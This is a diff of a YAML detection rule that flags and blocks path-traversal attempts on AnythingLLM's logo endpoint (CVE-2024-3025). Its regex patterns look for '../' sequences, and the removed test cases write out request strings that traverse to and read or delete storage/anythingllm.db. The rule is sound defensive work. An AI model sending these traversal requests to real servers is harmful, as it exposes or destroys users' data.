+      value: (?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:filename|logo)=[\s\S]{0,40}(?:\.\./|%2e%2e%2f|\.\.%2f){2,}
+      description: Logo filename/logo query param carrying multi-level path-traversal sequences on the logo endpoint
     - field: content
       operator: regex
-      value: '(?i)CVE-2024-3025[\s\S]{0,200}(?:path\s*traversal|logo|anythingllm\.db|/api/system/(?:upload-)?logo)'
-      description: "explicit CVE framing"
+      value: (?i)CVE-2024-3025[\s\S]{0,200}(?:path\s*traversal|logo|anythingllm\.db|/api/system/(?:upload-)?logo)
+      description: explicit CVE framing
 response:
-  actions: [alert, block_input]
-  message_template: >
+  actions:
+    - alert
+    - block_input
+  message_template: |
     [ATR-2026-01973] CRITICAL: AnythingLLM logo endpoint path traversal (CVE-2024-3025) reads/deletes arbitrary files such as storage/anythingllm.db. Block and patch.
 confidence: 80
-test_cases:
-  true_positives:
-    - input: "GET /api/system/logo?filename=../../../storage/anythingllm.db HTTP/1.1"
-      expected: triggered
-      description: "Logo fetch endpoint with ../ traversal to the SQLite database file"
-    - input: "POST /api/system/upload-logo with logo=../../../../storage/anythingllm.db to delete the database"
-      expected: triggered
-      description: "Upload-logo endpoint abused with traversal into storage/anythingllm.db"
-    - input: "Exploiting CVE-2024-3025: /api/system/logo path traversal to read anythingllm.db"
-      expected: triggered
-      description: "Explicit CVE-2024-3025 framing with the logo endpoint and traversal target"
-  true_negatives:
-    - input: "GET /api/system/logo?theme=default HTTP/1.1 returns the configured workspace logo"
-      expected: not_triggered
-      description: "Normal logo fetch with theme param, no traversal sequence"
-    - input: "POST /api/system/upload-logo uploading company-logo.png as the new appearance logo"
-      expected: not_triggered
-      description: "Legitimate logo upload with a clean filename"
-    - input: "The /api/system/logo endpoint serves the branding image configured in Appearance settings."
-      expected: not_triggered
-      description: "Generic mention of the endpoint with no exploit token or traversal"